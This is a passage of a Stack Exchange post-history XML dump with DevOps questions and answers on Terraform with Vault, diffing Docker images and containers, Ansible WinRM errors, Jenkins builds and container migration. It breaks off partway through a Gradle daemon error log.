  <row Id="20234" PostHistoryTypeId="2" PostId="6346" RevisionGUID="f8d9e391-bd57-4b34-82e4-9f05f9008d8f" CreationDate="2019-02-12T17:44:44.910" UserId="9839" Text="The simplest case is to use the Terraform Vault Provider (https://www.terraform.io/docs/providers/vault/index.html) - which, caveat, I've not used myself. &#xD;&#xA;&#xD;&#xA;Example from the Terraform site:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;provider &quot;vault&quot; {&#xD;&#xA;  # It is strongly recommended to configure this provider through the&#xD;&#xA;  # environment variables described above, so that each user can have&#xD;&#xA;  # separate credentials set in the environment.&#xD;&#xA;  #&#xD;&#xA;  # This will default to using $VAULT_ADDR&#xD;&#xA;  # But can be set explicitly&#xD;&#xA;  # address = &quot;https://vault.example.net:8200&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;vault_generic_secret&quot; &quot;example&quot; {&#xD;&#xA;  path = &quot;secret/foo&quot;&#xD;&#xA;&#xD;&#xA;  data_json = &lt;&lt;EOT&#xD;&#xA;{&#xD;&#xA;  &quot;foo&quot;:   &quot;bar&quot;,&#xD;&#xA;  &quot;pizza&quot;: &quot;cheese&quot;&#xD;&#xA;}&#xD;&#xA;EOT&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Optionally you can write a script in whatever language you are comfortable with to make the call out to Vault and invoke via local-exec in Terraform. &#xD;&#xA;&#xD;&#xA;Example of invoking a simple command from the Terraform site:&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_instance&quot; &quot;web&quot; {&#xD;&#xA;  # ...&#xD;&#xA;&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;echo ${aws_instance.web.private_ip} &gt;&gt; private_ips.txt&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="20235" PostHistoryTypeId="2" PostId="6347" RevisionGUID="d5cc2e9d-7cb4-4b89-9701-cc4ce5be005f" CreationDate="2019-02-12T19:41:44.677" UserId="11179" Text="Is there a way to know which files have changed in a docker container compared to its base image?&#xD;&#xA;&#xD;&#xA;I am looking both for file creation/modification/deletion, but also for metadata change like file permissions." ContentLicense="CC BY-SA 4.0" />
  <row Id="20236" PostHistoryTypeId="1" PostId="6347" RevisionGUID="d5cc2e9d-7cb4-4b89-9701-cc4ce5be005f" CreationDate="2019-02-12T19:41:44.677" UserId="11179" Text="Is there a way to know which files have changed in a docker container compared to its base image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20237" PostHistoryTypeId="3" PostId="6347" RevisionGUID="d5cc2e9d-7cb4-4b89-9701-cc4ce5be005f" CreationDate="2019-02-12T19:41:44.677" UserId="11179" Text="&lt;docker&gt;&lt;audit&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20238" PostHistoryTypeId="2" PostId="6348" RevisionGUID="b8af79c4-0c3a-4f6e-9be4-23a24302b79b" CreationDate="2019-02-12T19:56:53.633" UserId="11179" Text="The [`docker container diff`](https://docs.docker.com/engine/reference/commandline/container_diff/) command shows the differences between a container and its base system.&#xD;&#xA;&#xD;&#xA;In the output, files are reported as (A) if the file or directory was added, (D) if a file or directory was deleted or (C) if a file or directory was changed. File permission changes are reported as (C).&#xD;&#xA;&#xD;&#xA;    she$ CID=$(sudo docker run --rm -d ubuntu sleep 500)&#xD;&#xA;    sh$ sudo docker exec $CID touch newfile&#xD;&#xA;    sh$ sudo docker exec $CID useradd bob&#xD;&#xA;    sh$ sudo docker exec $CID chmod o-x /usr/bin/cut&#xD;&#xA;    sh$ sudo docker diff $CID&#xD;&#xA;    C /etc&#xD;&#xA;    C /etc/group&#xD;&#xA;    A /etc/group-&#xD;&#xA;    C /etc/gshadow&#xD;&#xA;    A /etc/gshadow-&#xD;&#xA;    C /etc/passwd&#xD;&#xA;    A /etc/passwd-&#xD;&#xA;    C /etc/shadow&#xD;&#xA;    A /etc/shadow-&#xD;&#xA;    C /etc/subgid&#xD;&#xA;    A /etc/subgid-&#xD;&#xA;    C /etc/subuid&#xD;&#xA;    A /etc/subuid-&#xD;&#xA;    A /newfile&#xD;&#xA;    C /usr&#xD;&#xA;    C /usr/bin&#xD;&#xA;    C /usr/bin/cut&#xD;&#xA;    C /var&#xD;&#xA;    C /var/log&#xD;&#xA;    C /var/log/faillog&#xD;&#xA;    C /var/log/lastlog&#xD;&#xA;    C /var/log/tallylog&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20239" PostHistoryTypeId="2" PostId="6349" RevisionGUID="5e28f29f-597a-405e-aa42-b031d43493af" CreationDate="2019-02-12T20:30:42.850" UserId="11179" Text="I asked a [similar question](https://devops.stackexchange.com/q/6347/11179) a few minutes ago, and I found the `docker diff` command that shows the differences in the file system between a _container_ and its _base image_. But I realized afterward my need is more complex than that.&#xD;&#xA;&#xD;&#xA;I have a Docker image, and I know that Docker image was build from a given base image. Is there a way to list the filesystem changes between those two _images_?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an example:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker image ls&#xD;&#xA;    REPOSITORY                    TAG                 IMAGE ID&#xD;&#xA;    rogueimage                    latest              77a21f689dcd&#xD;&#xA;    ubuntu                        18.04               47b19964fb50&#xD;&#xA;&#xD;&#xA;I know `rogueimage:latest` is based on `ubuntu:18.04` but I would like to know the filesystem difference between the two images. How to do that?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20240" PostHistoryTypeId="1" PostId="6349" RevisionGUID="5e28f29f-597a-405e-aa42-b031d43493af" CreationDate="2019-02-12T20:30:42.850" UserId="11179" Text="Listing filesystem differences between a Docker image and one of its ancestors" ContentLicense="CC BY-SA 4.0" />
  <row Id="20241" PostHistoryTypeId="3" PostId="6349" RevisionGUID="5e28f29f-597a-405e-aa42-b031d43493af" CreationDate="2019-02-12T20:30:42.850" UserId="11179" Text="&lt;docker&gt;&lt;audit&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20243" PostHistoryTypeId="2" PostId="6350" RevisionGUID="320de346-054d-4760-922d-5928795a1ea4" CreationDate="2019-02-13T01:22:29.060" UserId="12393" Text="I have a [ROS](http://www.ros.org/) project for which I'm looking to use Jenkins to set up a CI system.&#xD;&#xA;&#xD;&#xA;The project has a large number of dependencies which take a long time to build (they can't be installed on the build executor machines), so we typically build them once, then let Catkin (ROS's build system, based on CMake) use the cached artifacts on subsequent builds.&#xD;&#xA;&#xD;&#xA;The Jenkins setup we currently have does this:&#xD;&#xA;&#xD;&#xA;- Clone repository at commit&#xD;&#xA;- Create an empty Catkin workspace&#xD;&#xA;- Clone and setup all our dependencies&#xD;&#xA;- Build everything together&#xD;&#xA;- Run tests&#xD;&#xA;&#xD;&#xA;Due to building all our dependencies, this takes several hours.&#xD;&#xA;&#xD;&#xA;What I'd like to do is this:&#xD;&#xA;&#xD;&#xA;- Clone repository at commit&#xD;&#xA;- Move it into an already built Catkin workspace containing all dependencies&#xD;&#xA;- Build just our project&#xD;&#xA;- Run tests&#xD;&#xA;&#xD;&#xA;I was thinking of setting up a Docker container with all the dependencies ready to go, and then just running the build in that. Is that a typically recommended approach?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20244" PostHistoryTypeId="1" PostId="6350" RevisionGUID="320de346-054d-4760-922d-5928795a1ea4" CreationDate="2019-02-13T01:22:29.060" UserId="12393" Text="Is there an alternative to setting up the whole project workspace in a Jenkinsfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="20245" PostHistoryTypeId="3" PostId="6350" RevisionGUID="320de346-054d-4760-922d-5928795a1ea4" CreationDate="2019-02-13T01:22:29.060" UserId="12393" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20246" PostHistoryTypeId="2" PostId="6351" RevisionGUID="99357d87-07be-4078-a7f0-3ebfbba50ba8" CreationDate="2019-02-13T03:35:15.500" UserId="11826" Text="I am getting below error when I am trying to run one playbook which connects to Windows machine hosted on AWS EC2. I enabled winrm and win_ping worked fine but when I am invoking ansible-playbook I am not sure why it is using sudo as if the target machine is Linux host.&#xD;&#xA;&#xD;&#xA;I tried disabling become=True in ansible.cfg but same issue occurred.&#xD;&#xA;&#xD;&#xA;Is it compulsory to use ansible_winrm_transport=ntlm for the win_ping to work. I feel that is causing this issue.&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;&#xD;&#xA;    fatal: [10.0.150.18]: FAILED! =&gt; {&quot;failed&quot;: true, &quot;msg&quot;: &quot;Internal Error: this connection module does not support running commands via sudo&quot;}&#xD;&#xA;    &#xD;&#xA;    [root@localhost ]# cat ansible.cfg&#xD;&#xA;    [defaults]&#xD;&#xA;    log_path=/var/log/ansible.log&#xD;&#xA;    ansible_winrm_operation_timeout_sec = 200&#xD;&#xA;    ansible_winrm_read_timeout_sec = 500&#xD;&#xA;    &#xD;&#xA;    [privilege_escalation]&#xD;&#xA;    become=True&#xD;&#xA;    &#xD;&#xA;    [root@localhost ]# ansible --version&#xD;&#xA;    ansible 2.2.0.0&#xD;&#xA;    &#xD;&#xA;    [root@localhost ]# cat hosts&#xD;&#xA;    [localhost]&#xD;&#xA;    localhost ansible_connection=local&#xD;&#xA;    &#xD;&#xA;    [marcel]&#xD;&#xA;    10.0.150.18  ansible_user=Administrator ansible_password=xxxxxxxxxx ansible_port=5985 ansible_connection=winrm ansible_winrm_server_cert_validation=ignore ansible_winrm_transport=ntlm" ContentLicense="CC BY-SA 4.0" />
  <row Id="20247" PostHistoryTypeId="1" PostId="6351" RevisionGUID="99357d87-07be-4078-a7f0-3ebfbba50ba8" CreationDate="2019-02-13T03:35:15.500" UserId="11826" Text="ansible aws windows ec2 - Internal Error: this connection module does not support running commands via sudo" ContentLicense="CC BY-SA 4.0" />
  <row Id="20248" PostHistoryTypeId="3" PostId="6351" RevisionGUID="99357d87-07be-4078-a7f0-3ebfbba50ba8" CreationDate="2019-02-13T03:35:15.500" UserId="11826" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20252" PostHistoryTypeId="2" PostId="6353" RevisionGUID="e1b84d14-d1bf-481a-aec5-c8f0ee6c579d" CreationDate="2019-02-13T08:40:21.073" UserId="12305" Text="According to [the documentation][1]:&#xD;&#xA;&gt; Prior to Ansible 2.4, become would only work when ansible_winrm_transport was set to either basic or credssp, but since Ansible 2.4 become now works on all transport types.&#xD;&#xA;&#xD;&#xA;You're using Ansible 2.2. Might that be it? The error message might be a bit misleading.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/become.html#become-and-windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="20253" PostHistoryTypeId="2" PostId="6354" RevisionGUID="6e86e74d-5c55-4893-8059-6aefa0309ff4" CreationDate="2019-02-13T09:17:10.407" UserId="707" Text="According to SixSigma quality level, you would succeed in 0.99966% of all iterations of same process repeated many times. &#xD;&#xA;&#xD;&#xA;&gt; A six sigma process is one in which 99.99966% of all opportunities to&#xD;&#xA;&gt; produce some feature of a part are statistically expected to be free&#xD;&#xA;&gt; of defects.&#xD;&#xA;&#xD;&#xA;So if I think about build or deployments errors, maybe going as far as SixSigma goes is for time being too much, still with continuous delivery there can be quite many iterations. Does anybody take this into consideration to make &quot;some&quot; sigmas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20254" PostHistoryTypeId="1" PostId="6354" RevisionGUID="6e86e74d-5c55-4893-8059-6aefa0309ff4" CreationDate="2019-02-13T09:17:10.407" UserId="707" Text="Is there any motivation to achieve SixSigma in DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20255" PostHistoryTypeId="3" PostId="6354" RevisionGUID="6e86e74d-5c55-4893-8059-6aefa0309ff4" CreationDate="2019-02-13T09:17:10.407" UserId="707" Text="&lt;quality-cotrol&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20256" PostHistoryTypeId="4" PostId="6354" RevisionGUID="c956d41f-624f-4678-99ce-a34428702bb2" CreationDate="2019-02-13T10:01:35.573" UserId="707" Comment="edited title" Text="Is there any motivation to achieve SixSigma or similar in DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20257" PostHistoryTypeId="2" PostId="6355" RevisionGUID="0f1eb009-b10b-4701-8335-1ab5d5afeaf9" CreationDate="2019-02-13T10:15:14.473" UserId="707" Text="Are there actually some emerging but not hyped cloud technologies to watch for?&#xD;&#xA;&#xD;&#xA;I mean, cloud solutions we use have been there since some years, but as they came out, they had been around for some years, unnoticed by many of us. Look, even Kubernetes was released 4 years ago.&#xD;&#xA;&#xD;&#xA;So are now the state of the art virtual infrastructure solutions just mature technology which will of course become more sophisticated and improved, or are there some &quot;new kids on the block&quot; to try out?&#xD;&#xA;&#xD;&#xA;My search criteria: an open source project with more than 1-2 contributors, also used in production and offering some new and reasonable concepts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20258" PostHistoryTypeId="1" PostId="6355" RevisionGUID="0f1eb009-b10b-4701-8335-1ab5d5afeaf9" CreationDate="2019-02-13T10:15:14.473" UserId="707" Text="Next &quot;big thing&quot; in the virtual infrustucture?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20259" PostHistoryTypeId="3" PostId="6355" RevisionGUID="0f1eb009-b10b-4701-8335-1ab5d5afeaf9" CreationDate="2019-02-13T10:15:14.473" UserId="707" Text="&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20260" PostHistoryTypeId="2" PostId="6356" RevisionGUID="5a243414-caa9-49a6-90d1-156ab87237e4" CreationDate="2019-02-13T11:12:21.670" UserId="11179" Text="There was already a [stackoverflow question](https://stackoverflow.com/questions/21200304/docker-how-to-show-the-diffs-between-2-images) about that topic, but the answers didn't really help me. The [container-diff](https://github.com/GoogleContainerTools/container-diff) tools was the most promising solution, but I would have preferred not relying on a third-party tool.&#xD;&#xA;&#xD;&#xA;Finally, since docker can export an archive of a _container_ filesystem, I end up with this solution:&#xD;&#xA;&#xD;&#xA;    BASE_CID=$(sudo docker create ubuntu:18.04)&#xD;&#xA;    TARGET_CID=$(sudo docker create rogueimage:latest)&#xD;&#xA;    &#xD;&#xA;    sudo docker export &quot;${BASE_CID}&quot; | tar tv &gt; base.filelist&#xD;&#xA;    sudo docker export &quot;${TARGET_CID}&quot; | tar tv &gt; target.filelist&#xD;&#xA;&#xD;&#xA;Then using your favorite diff tool you can examine the difference:&#xD;&#xA;&#xD;&#xA;    vimdiff {base,target}.filelist&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20264" PostHistoryTypeId="50" PostId="5928" RevisionGUID="c2d84896-a8ee-4066-a990-d8e02e2ad13e" CreationDate="2019-02-13T14:02:10.453" UserId="-1" />
  <row Id="20265" PostHistoryTypeId="2" PostId="6358" RevisionGUID="64277ef8-f7cc-4e55-9f48-0e436f2e9ee0" CreationDate="2019-02-13T15:53:06.710" UserId="12404" Text="I got this exact same error. I had to add the Audio Selectors. See the following JSON example:&#xD;&#xA;&#xD;&#xA;    &quot;Inputs&quot;: [&#xD;&#xA;      {&#xD;&#xA;        &quot;AudioSelectors&quot;: {&#xD;&#xA;          &quot;Audio Selector 1&quot;: {&#xD;&#xA;            &quot;Offset&quot;: 0,&#xD;&#xA;            &quot;DefaultSelection&quot;: &quot;DEFAULT&quot;,&#xD;&#xA;            &quot;SelectorType&quot;: &quot;LANGUAGE_CODE&quot;,&#xD;&#xA;            &quot;ProgramSelection&quot;: 1,&#xD;&#xA;            &quot;LanguageCode&quot;: &quot;ENM&quot;&#xD;&#xA;          }&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;If you are using the Java SDK, add something similar to the following to your inputs:&#xD;&#xA;&#xD;&#xA;    AudioSelector audioSelector = new AudioSelector()&#xD;&#xA;				.withOffset(0)&#xD;&#xA;				.withDefaultSelection(&quot;DEFAULT&quot;)&#xD;&#xA;				.withLanguageCode(&quot;ENM&quot;)&#xD;&#xA;				.withSelectorType(&quot;LANGUAGE_CODE&quot;)&#xD;&#xA;				.withProgramSelection(1);&#xD;&#xA;		&#xD;&#xA;	audioSelectors.put(&quot;Audio Selector 1&quot;, audioSelector);&#xD;&#xA;		" ContentLicense="CC BY-SA 4.0" />
  <row Id="20266" PostHistoryTypeId="2" PostId="6359" RevisionGUID="a65a17f3-d1e5-40bb-9e11-c81da3d11cbf" CreationDate="2019-02-13T17:57:09.420" UserId="12286" Text="I have 2 images on my docker toolbox, for jenkins and for artifactory.&#xD;&#xA;I can use the command &quot;run&quot; for each to create a running container, jenkins on port 8080 and artifactory on oprt 8081, using the -p flag.&#xD;&#xA;When I use the command &quot;docker ps&quot; I can see both containers.&#xD;&#xA;&#xD;&#xA;My problem: I can only open one application at a time, for example:&#xD;&#xA;Open jenkins on URL 192.168.99.100:8080 (docker toolbox use this IP by default), then, open artifactory on URL 192.168.99.100:8081, the page &quot;jFrog Artifactory is getting ready to work...&quot; will be displayed and then the connection to the artifactory will be lost.&#xD;&#xA;But if I stop the jenkins container I could run the artifactory application properly.&#xD;&#xA;&#xD;&#xA;I read that docker compose can help to run multiple containers but I didn't understand if it can help my case too.&#xD;&#xA;&#xD;&#xA;Will appreciate any help!" ContentLicense="CC BY-SA 4.0" />
  <row Id="20267" PostHistoryTypeId="1" PostId="6359" RevisionGUID="a65a17f3-d1e5-40bb-9e11-c81da3d11cbf" CreationDate="2019-02-13T17:57:09.420" UserId="12286" Text="How to run multiple containers with port expose" ContentLicense="CC BY-SA 4.0" />
  <row Id="20268" PostHistoryTypeId="3" PostId="6359" RevisionGUID="a65a17f3-d1e5-40bb-9e11-c81da3d11cbf" CreationDate="2019-02-13T17:57:09.420" UserId="12286" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20269" PostHistoryTypeId="2" PostId="6360" RevisionGUID="8d036bf8-8e30-411d-934e-c061925c69b8" CreationDate="2019-02-13T18:12:36.270" UserId="11179" Text="We have a forum application made of two containers: a container for the database, and another one for the bulletin board application itself. Both containers are running on the same host for quite some time now. That application does not follow the &quot;microservice&quot; architecture since the database files are stored in the writable layer of the database container. And the configuration settings of the forum were directly set up in the writable layer of the bulletin board application.&#xD;&#xA;&#xD;&#xA;We would like to migrate that forum to a different host since the current server has reached end-of-life. We see two ways of doing that:&#xD;&#xA;&#xD;&#xA;* using `docker commit` to make an image of both containers, then uploading those images to a repository and pulling them back from the new host.&#xD;&#xA;* using `docker export` to create archives of the container filesystems, and importing them on the new host.&#xD;&#xA;&#xD;&#xA;What are the pro and cons of both approaches for ad-hoc container migration? Is there a better-suited solution for our specific needs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20270" PostHistoryTypeId="1" PostId="6360" RevisionGUID="8d036bf8-8e30-411d-934e-c061925c69b8" CreationDate="2019-02-13T18:12:36.270" UserId="11179" Text="How to move a containerized application to a different host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20271" PostHistoryTypeId="3" PostId="6360" RevisionGUID="8d036bf8-8e30-411d-934e-c061925c69b8" CreationDate="2019-02-13T18:12:36.270" UserId="11179" Text="&lt;docker&gt;&lt;migration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20272" PostHistoryTypeId="5" PostId="6359" RevisionGUID="76b2d048-9329-4d59-a820-5433db7fd62e" CreationDate="2019-02-13T18:54:03.230" UserId="12286" Comment="added 167 characters in body" Text="I have 2 images on my docker toolbox, for jenkins and for artifactory.&#xD;&#xA;I can use the command &quot;run&quot; for each to create a running container, jenkins on port 8080 and artifactory on oprt 8081, using the -p flag.&#xD;&#xA;When I use the command &quot;docker ps&quot; I can see both containers.&#xD;&#xA;&#xD;&#xA;My problem: I can only open one application at a time, for example:&#xD;&#xA;Open jenkins on URL 192.168.99.100:8080 (docker toolbox use this IP by default), then, open artifactory on URL 192.168.99.100:8081, the page &quot;jFrog Artifactory is getting ready to work...&quot; will be displayed and then the connection to the artifactory will be lost.&#xD;&#xA;But if I stop the jenkins container I could run the artifactory application properly.&#xD;&#xA;&#xD;&#xA;I read that docker compose can help to run multiple containers but I didn't understand if it can help my case too.&#xD;&#xA;&#xD;&#xA;Will appreciate any help!&#xD;&#xA;&#xD;&#xA;edited:&#xD;&#xA;My &quot;docker ps&quot; output (plus another command for better display)&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/iaJvy.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="20280" PostHistoryTypeId="2" PostId="6362" RevisionGUID="3fd32cc4-3d82-42f6-8a83-d397653d2bda" CreationDate="2019-02-14T01:21:26.100" UserId="620" Text="I was reading [the documentation][1] to learn more about the admission controllers, when I read the prerequisites; the pertinent one being &#xD;&#xA;&#xD;&#xA;&gt; Ensure that MutatingAdmissionWebhook and ValidatingAdmissionWebhook&#xD;&#xA;&gt; admission controllers are enabled&#xD;&#xA;&#xD;&#xA;Per [the docs][2] there is a recommended set of controllers to use:&#xD;&#xA;&#xD;&#xA;&gt; --enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,Priority,ResourceQuota&#xD;&#xA;&#xD;&#xA;I manage K8s clusters with Rancher in non-test environments. By default, Rancher only enables a few of these controllers:&#xD;&#xA;&#xD;&#xA;&gt; NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,DefaultTolerationSeconds,ResourceQuota&#xD;&#xA;&#xD;&#xA;When I upgraded the cluster, this did not get enabled as I suspected with just the version upgrade. After updating the Rancher K8s configuration and applying the changes, I successfully spun up the [test client/server deployments][3] which successfully injected the envoy containers and registered the services in Consul.&#xD;&#xA;&#xD;&#xA;TL;DR: **RTFM**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/&#xD;&#xA;  [2]: https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#is-there-a-recommended-set-of-admission-controllers-to-use&#xD;&#xA;  [3]: https://www.consul.io/docs/platform/k8s/connect.html#accepting-inbound-connections" ContentLicense="CC BY-SA 4.0" />
  <row Id="20287" PostHistoryTypeId="50" PostId="5990" RevisionGUID="7bff2538-3dff-4f31-8c23-3fa4ee3175f2" CreationDate="2019-02-14T08:02:45.580" UserId="-1" />
  <row Id="20288" PostHistoryTypeId="2" PostId="6365" RevisionGUID="aa0cc57c-a510-4883-9a8e-cf5d0a841a6b" CreationDate="2019-02-14T08:45:54.670" UserId="13" Text="To add up another viewpoint, your last sentence is exactly that:&#xD;&#xA;&#xD;&#xA;&gt; Should I talk about &quot;reproducible build&quot; when it is just a matter of providing a well-controlled environment?&#xD;&#xA;&#xD;&#xA;Yes, doing a reproducible build is just about providing a controlled environment, producing the same output at the bytes level means you control the compiler, the libraires, etc. &#xD;&#xA;&#xD;&#xA;What does probably bother you is that a php application doesn't produce a binary at build time, but it does still need a controlled environment to produce the same byte code for the CPU when interpreted.&#xD;&#xA;&#xD;&#xA;Took the other way, a C compiler is as much an interpreter as a php engine, it just doesn't come in the pipeline at the same time but it still read human friendly text to produce instructions for a processor." ContentLicense="CC BY-SA 4.0" />
  <row Id="20302" PostHistoryTypeId="50" PostId="5100" RevisionGUID="ce854f1a-f4a5-4e1c-985c-8f6b5eccd735" CreationDate="2019-02-14T15:02:25.587" UserId="-1" />
  <row Id="20303" PostHistoryTypeId="2" PostId="6370" RevisionGUID="78bad098-16eb-4b59-883f-e94bb3be7e72" CreationDate="2019-02-14T15:53:37.543" UserId="12424" Text="I am running Jenkins (ver: 2.150.3) with gradle (ver: 4.1)&#xD;&#xA;&#xD;&#xA;I am getting an error that says the gradle daemon closed unexpectedly.&#xD;&#xA;&#xD;&#xA;Google says it would most likely be gradle running out of memory. So I set the memory to 3000M with no luck.&#xD;&#xA;&#xD;&#xA;Now this is a small 1 activity with only around 200 lines of code android app.&#xD;&#xA;&#xD;&#xA;I have tried using invoke gradle and by running it through scripts.&#xD;&#xA;&#xD;&#xA;It looks as if by running debug, that the workers are conflicting with each other.&#xD;&#xA;&#xD;&#xA;Heres the last 20 lines of the output:&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;        ----- Last  20 lines from daemon log file - daemon-4448.out.log -----&#xD;&#xA;    09:41:39.303 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Releasing lock on daemon addresses registry.&#xD;&#xA;    09:41:39.490 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Worker lease root.1.10.42 started (1 worker(s) in use).&#xD;&#xA;    09:41:39.490 [DEBUG] [org.gradle.internal.resources.AbstractTrackedResourceLock] Worker Daemon Execution: acquired lock on root.1.10.42&#xD;&#xA;    09:41:39.490 [DEBUG] [org.gradle.internal.progress.DefaultBuildOperationExecutor] Build operation 'com.android.build.gradle.tasks.MergeResources$FileGenerationWorkAction' started&#xD;&#xA;    09:41:39.490 [INFO] [com.android.build.gradle.tasks.MergeResources] Generating PNG: [C:\Program Files (x86)\Jenkins\workspace\pu\app\build\generated\res\pngs\debug\drawable-mdpi\ic_launcher_background.png] from [C:\Program Files (x86)\Jenkins\workspace\pu\app\src\main\res\drawable\ic_launcher_background.xml]&#xD;&#xA;    09:41:39.506 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Worker lease root.1.10.43 started (2 worker(s) in use).&#xD;&#xA;    09:41:39.506 [DEBUG] [org.gradle.internal.resources.AbstractTrackedResourceLock] Worker Daemon Execution Thread 2: acquired lock on root.1.10.43&#xD;&#xA;    09:41:39.506 [DEBUG] [org.gradle.internal.progress.DefaultBuildOperationExecutor] Build operation 'com.android.build.gradle.tasks.MergeResources$FileGenerationWorkAction' started&#xD;&#xA;    09:41:39.506 [INFO] [com.android.build.gradle.tasks.MergeResources] Generating PNG: [C:\Program Files (x86)\Jenkins\workspace\pu\app\build\generated\res\pngs\debug\drawable-hdpi\ic_launcher_background.png] from [C:\Program Files (x86)\Jenkins\workspace\pu\app\src\main\res\drawable\ic_launcher_background.xml]&#xD;&#xA;    09:41:39.537 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Worker lease root.1.10.44 started (3 worker(s) in use).&#xD;&#xA;    09:41:39.537 [DEBUG] [org.gradle.internal.resources.AbstractTrackedResourceLock] Worker Daemon Execution Thread 3: acquired lock on root.1.10.44&#xD;&#xA;    09:41:39.537 [DEBUG] [org.gradle.internal.progress.DefaultBuildOperationExecutor] Build operation 'com.android.build.gradle.tasks.MergeResources$FileGenerationWorkAction' started&#xD;&#xA;    09:41:39.537 [INFO] [com.android.build.gradle.tasks.MergeResources] Generating PNG: [C:\Program Files (x86)\Jenkins\workspace\pu\app\build\generated\res\pngs\debug\drawable-xxxhdpi\ic_launcher_background.png] from [C:\Program Files (x86)\Jenkins\workspace\pu\app\src\main\res\drawable\ic_launcher_background.xml]&#xD;&#xA;    09:41:39.537 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Worker lease root.1.10.45 started (4 worker(s) in use).&#xD;&#xA;    09:41:39.553 [DEBUG] [org.gradle.internal.resources.AbstractTrackedResourceLock] Worker Daemon Execution Thread 4: acquired lock on root.1.10.45&#xD;&#xA;    09:41:39.553 [DEBUG] [org.gradle.internal.progress.DefaultBuildOperationExecutor] Build operation 'com.android.build.gradle.tasks.MergeResources$FileGenerationWorkAction' started&#xD;&#xA;    09:41:39.553 [INFO] [com.android.build.gradle.tasks.MergeResources] Generating PNG: [C:\Program Files (x86)\Jenkins\workspace\pu\app\build\generated\res\pngs\debug\drawable-xxhdpi\ic_launcher_background.png] from [C:\Program Files (x86)\Jenkins\workspace\pu\app\src\main\res\drawable\ic_launcher_background.xml]&#xD;&#xA;    09:41:39.568 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Build operation root.1.10.46 could not be started (4 worker(s) in use).&#xD;&#xA;    09:41:39.584 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Build operation root.1.10.47 could not be started (4 worker(s) in use).&#xD;&#xA;    09:41:39.600 [DEBUG] [org.gradle.internal.work.DefaultWorkerLeaseService] Build operation root.1.10.48 could not be started (4 worker(s) in use).&#xD;&#xA;    ----- End of the daemon log -----&#xD;&#xA;    &#xD;&#xA;    09:41:39.709 [DEBUG] [org.gradle.launcher.daemon.client.DaemonClientConnection] thread 1: connection stop&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] FAILURE: Build failed with an exception.&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] * What went wrong:&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] Gradle build daemon disappeared unexpectedly (it may have been killed or may have crashed)&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] &#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] * Exception is:&#xD;&#xA;    09:41:39.725 [ERROR] [org.gradle.internal.buildevents.BuildExceptionReporter] org.gradle.launcher.daemon.client.DaemonDisappearedException: Gradle build daemon disappeared unexpectedly (it may have been killed or may have crashed)&#xD;&#xA;    